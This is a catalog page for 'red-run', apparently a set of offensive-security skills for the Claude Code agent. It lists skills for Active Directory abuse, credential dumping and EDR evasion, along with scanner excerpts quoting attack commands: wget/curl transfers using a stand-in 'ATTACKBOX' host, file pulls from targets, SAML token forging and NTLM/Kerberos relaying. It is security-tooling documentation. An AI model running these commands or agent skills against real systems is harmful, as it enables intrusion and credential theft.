Menu

Not in the top 1,000 by GitHub stars

blacklanternsecurity/red-run

Offensive security toolkit for Claude Code

Claude CodeSecurityTesting

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/_template/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/acl-abuse/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/ad-discovery/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/ad-persistence/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/adcs-access-and-relay/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/adcs-persistence/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/adcs-template-abuse/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/auth-coercion-relay/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/credential-dumping/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/gpo-abuse/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/kerberos-delegation/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/kerberos-roasting/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/kerberos-ticket-forging/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/pass-the-hash/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/sccm-exploitation/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ad/trust-attacks/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/credential/password-spraying/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/ctf/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/evasion/av-edr-evasion/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/legacy/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/container-escapes/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/database-enumeration/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/infrastructure-enumeration/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/network-recon/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/pivoting-tunneling/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/remote-access-enumeration/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/smb-enumeration/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/smb-exploitation/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/network/xmpp-enumeration/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/post-exploit/credential-recovery/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/linux-cron-service-abuse/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/linux-discovery/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/linux-file-path-abuse/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/linux-kernel-exploits/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/linux-sudo-suid-capabilities/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/windows-credential-harvesting/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/windows-discovery/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/windows-kernel-exploits/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/windows-service-dll-abuse/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/windows-token-impersonation/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/privesc/windows-uac-bypass/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/research/unknown-vector-analysis/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/retrospective/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/2fa-bypass/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/ajp-ghostcat/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/browser-exploitation/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/command-injection/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/cors-misconfiguration/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/csrf/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/deserialization-dotnet/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/deserialization-java/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/deserialization-php/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/file-upload-bypass/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/idor/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/jwt-attacks/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/ldap-injection/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/lfi/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/nosql-injection/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/oauth-attacks/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/password-reset-poisoning/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/php-code-injection/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/python-code-injection/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/race-condition/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/request-smuggling/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/smb-share-webshell/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/source-code-review/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/sql-injection-blind/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/sql-injection-error/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/sql-injection-stacked/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/sql-injection-union/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/ssrf/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/ssti-freemarker/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/ssti-jinja2/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/ssti-twig/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/tomcat-manager-deploy/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/web-discovery/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/xss-dom/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/xss-reflected/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/xss-stored/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

skills/web/xxe/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → c8e44973851e

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit c8e44973851eb28fbe5ee63dfbfd58ca85a4b669

git clone --filter=blob:none --no-checkout https://github.com/blacklanternsecurity/red-run.git .hotskills/blacklanternsecurity-red-run && git -C .hotskills/blacklanternsecurity-red-run checkout --detach c8e44973851eb28fbe5ee63dfbfd58ca85a4b669 # Copy each selected skill directory from .hotskills/blacklanternsecurity-red-run into .claude/skills/<skill-name>/
302GitHub stars
3stars in 7 days
80skills in this repository
2commits in 30 days

Heat

3.7
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 3, 2026302

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

<skill-name>

When your agent uses it

<What this skill does in 2-3 sentences. Focus on technique scope and when to use it. No trigger phrases, negative conditions, or OPSEC details here.>

What it loads into context

Frontmatter

100 tokens

Always available to the agent

SKILL.md

2,646 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Engagement Logging
  2. Scope Boundary
  3. State Management
  4. Tool Requirements (Local-Only)
  5. Exploit and Tool Transfer
  6. Web Interaction
  7. File Exfiltration
  8. Shell Access
  9. Prerequisites
  10. Step 1: Assess
  11. Step 2: Confirm Vulnerability
  12. Step 3: Exploit
  13. Step N: Post-Exploitation Exit
  14. Troubleshooting

Files

  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes
  • SKILL.mdcore10,722 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • <skill-name>
  • acl-abuse
  • ad-discovery
  • ad-persistence
  • adcs-access-and-relay
  • adcs-persistence
  • adcs-template-abuse
  • auth-coercion-relay
  • credential-dumping
  • gpo-abuse
  • kerberos-delegation
  • kerberos-roasting
  • kerberos-ticket-forging
  • pass-the-hash
  • sccm-exploitation
  • trust-attacks
  • password-spraying
  • red-run-ctf
  • av-edr-evasion
  • red-run-legacy
  • container-escapes
  • database-enumeration
  • infrastructure-enumeration
  • network-recon
  • pivoting-tunneling
  • remote-access-enumeration
  • smb-enumeration
  • smb-exploitation
  • xmpp-enumeration
  • credential-recovery
  • linux-cron-service-abuse
  • linux-discovery
  • linux-file-path-abuse
  • linux-kernel-exploits
  • linux-sudo-suid-capabilities
  • windows-credential-harvesting
  • windows-discovery
  • windows-kernel-exploits
  • windows-service-dll-abuse
  • windows-token-impersonation
  • windows-uac-bypass
  • unknown-vector-analysis
  • retrospective
  • 2fa-bypass
  • ajp-ghostcat
  • browser-exploitation
  • command-injection
  • cors-misconfiguration
  • csrf
  • deserialization-dotnet
  • deserialization-java
  • deserialization-php
  • file-upload-bypass
  • idor
  • jwt-attacks
  • ldap-injection
  • lfi
  • nosql-injection
  • oauth-attacks
  • password-reset-poisoning
  • php-code-injection
  • python-code-injection
  • race-condition
  • request-smuggling
  • smb-share-webshell
  • source-code-review
  • sql-injection-blind
  • sql-injection-error
  • sql-injection-stacked
  • sql-injection-union
  • ssrf
  • ssti-freemarker
  • ssti-jinja2
  • ssti-twig
  • tomcat-manager-deploy
  • web-discovery
  • xss-dom
  • xss-reflected
  • xss-stored
  • xxe

Repository facts

License
AGPL-3.0
Created
Feb 22, 2026
Last pushed
Oct 23, 2026
Forks
48
Open issues
4
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Offensive security tool: run only in authorized labs.

Checked Nov 6, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 1,712 notes
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ad/acl-abuse/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 2,161 signals by file

operator/state-viewer/generate-token.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Executable scriptline 1
    Executable file; content unavailable

operator/state-viewer/server.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Network accessline 84
    if not ips:         try:             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • Network accessline 85
    try:             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)             s.connect(("10.255.255.255", 1))
  • Network accessline 86
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  • Network accessline 406
    function refreshAll() {   fetch('/api/state').then(r=>r.json()).then(d => { state = d; render(); graphDirty = false; });
  • Network accessline 407
    fetch('/api/state').then(r=>r.json()).then(d => { state = d; render(); graphDirty = false; });
  • Network accessline 1070
    const detailAttr = escAttr(n.detail);     svgHtml += `<foreignObject x="${n.x + 6}" y="${n.y + 20}" width="${NODE_W - 12}" height="${nh - 24}" data-detail="${detailAttr}" onmouseenter="showTip(event)" onmouseleave="hideTip()">`;     svgHtml
  • Network accessline 1071
    svgHtml += `<foreignObject x="${n.x + 6}" y="${n.y + 20}" width="${NODE_W - 12}" height="${nh - 24}" data-detail="${detailAttr}" onmouseenter="showTip(event)" onmouseleave="hideTip()">`;     svgHtml += `<div xmlns="http://www.w3.org/1999/xh
  • Network accessline 1072
    svgHtml += `<div xmlns="http://www.w3.org/1999/xhtml" style="font-family:inherit;">`;
  • Network accessline 1203
    // Initial fetch fetch('/api/state').then(r=>r.json()).then(d => { state = d; render(); });
  • Network accessline 1204
    fetch('/api/state').then(r=>r.json()).then(d => { state = d; render(); });
  • Access to secretsline 1217
    [Credential-related source omitted]
  • Access to secretsline 1224
    [Credential-related source omitted]
  • Network accessline 1227
    # Check Authorization header (for curl / API clients)
  • Access to secretsline 1231
    [Credential-related source omitted]
  • Access to secretsline 1243
    [Credential-related source omitted]
  • Access to secretsline 1280
    [Credential-related source omitted]
  • Access to secretsline 1349
    [Credential-related source omitted]
  • Access to secretsline 1366
    [Credential-related source omitted]
  • Access to secretsline 1367
    [Credential-related source omitted]
  • Access to secretsline 1395
    [Credential-related source omitted]
  • Network accessline 1404
    ThreadingHTTPServer.allow_reuse_address = True     server = ThreadingHTTPServer((bind_addr, args.port), Handler)     print(f"state-viewer: http://{bind_addr}:{args.port}")
  • Network accessline 1405
    server = ThreadingHTTPServer((bind_addr, args.port), Handler)     print(f"state-viewer: http://{bind_addr}:{args.port}")     if bind_addr == "0.0.0.0":
  • Network accessline 1406
    print(f"state-viewer: http://{bind_addr}:{args.port}")
  • Network accessline 1407
    if bind_addr == "0.0.0.0":         for ip in _get_local_ips():             print(f"  remote:     http://{ip}:{args.port}")
  • Network accessline 1408
    for ip in _get_local_ips():             print(f"  remote:     http://{ip}:{args.port}")         print(
  • Network accessline 1409
    print(f"  remote:     http://{ip}:{args.port}")
  • Network accessline 1410
    print(             f"\nIf your VM uses NAT, access via http://localhost:{args.port} on the host"         )
  • Network accessline 1411
    f"\nIf your VM uses NAT, access via http://localhost:{args.port} on the host"

operator/state-viewer/start.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable

skills/_template/SKILL.md

  • Network accessline 80
    - `pip install` / `pipx install` / `pip3 install` — any package - `npm install` / `go install` / `cargo install` — any package - `wget` / `curl -o` / `curl -O` — downloading files from the internet
  • Network accessline 81
    - `npm install` / `go install` / `cargo install` — any package - `wget` / `curl -o` / `curl -O` — downloading files from the internet - `apt install` / `apt-get install` — system packages
  • Network accessline 82
    - `wget` / `curl -o` / `curl -O` — downloading files from the internet
  • Network accessline 105
    Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may
  • Network accessline 106
    internet (`curl https://github.com/...`, `git clone` on target). Targets may
  • Network accessline 114
    3. **Review** — inspect source code or binary provenance before transferring 4. **Serve** — `python3 -m http.server 8080` from the directory containing the file 5. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or
  • Network accessline 115
    4. **Serve** — `python3 -m http.server 8080` from the directory containing the file 5. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or    `curl http://ATTACKBOX:8080/file -o /tmp/file`
  • Network accessline 116
    5. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or
  • Network accessline 117
    `curl http://ATTACKBOX:8080/file -o /tmp/file`
  • Network accessline 129
    default for navigating sites, filling forms, and managing sessions. Browser tools handle CSRF tokens, session cookies, JavaScript-rendered content, and multi-step flows that curl cannot.
  • Network accessline 131
    multi-step flows that curl cannot.
  • Network accessline 135
    - **curl** (fallback) — crafted payloads needing precise header/body control,   injection testing where exact request structure matters - **Injection-focused skills** may use curl directly for payload delivery when
  • Network accessline 136
    injection testing where exact request structure matters - **Injection-focused skills** may use curl directly for payload delivery when   the browser adds unwanted encoding or headers
  • Network accessline 137
    - **Injection-focused skills** may use curl directly for payload delivery when
  • Network accessline 150
    3. **Target can reach attackbox** (outbound HTTP)?    → Target: `python3 -m http.server 8080` from the file's directory    → Attackbox: `curl http://TARGET:8080/file -o evidence/file`
  • Network accessline 151
    → Target: `python3 -m http.server 8080` from the file's directory    → Attackbox: `curl http://TARGET:8080/file -o evidence/file` 4. **SMB available?**
  • Network accessline 152
    → Attackbox: `curl http://TARGET:8080/file -o evidence/file`

skills/ad/acl-abuse/SKILL.md

  • Dangerous shell operationline 566
    sudo ntpdate DC_IP
  • Dangerous shell operationline 568
    sudo rdate -n DC_IP

skills/ad/ad-discovery/SKILL.md

  • Dangerous shell operationline 727
    requires sudo which subagents cannot run.

skills/ad/ad-persistence/SKILL.md

  • Network accessline 406
    # ADFSpoof — forge SAML token python3 ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 \   --endpoint https://www.contoso.com/adfs/ls/SamlResponseServlet \
  • Network accessline 407
    python3 ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2    --endpoint https://www.contoso.com/adfs/ls/SamlResponseServlet
  • Network accessline 408
    --endpoint https://www.contoso.com/adfs/ls/SamlResponseServlet \
  • Network accessline 410
    --nameid 'DOMAIN\administrator' \   --rpidentifier TargetApp \   --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>DOMAIN\administrator</AttributeValue></Attribute>'
  • Network accessline 412
    --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>DOMAIN\administrator</AttributeValue></Attribute>'
  • Network accessline 419
    # Shimit (alternative) python3 shimit.py -idp http://adfs.domain.local/adfs/services/trust \
  • Network accessline 420
    python3 shimit.py -idp http://adfs.domain.local/adfs/services/trust \
  • Dangerous shell operationline 574
    sudo ntpdate DC_IP
  • Dangerous shell operationline 576
    sudo rdate -n DC_IP

skills/ad/adcs-access-and-relay/SKILL.md

  • Network accessline 354
    # Impacket ntlmrelayx — relay to web enrollment ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
  • Network accessline 355
    ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
  • Network accessline 399
    # krbrelayx — relay Kerberos instead of NTLM (avoids NTLM events) sudo krbrelayx.py --target http://CA/certsrv \
  • Dangerous shell operationline 400
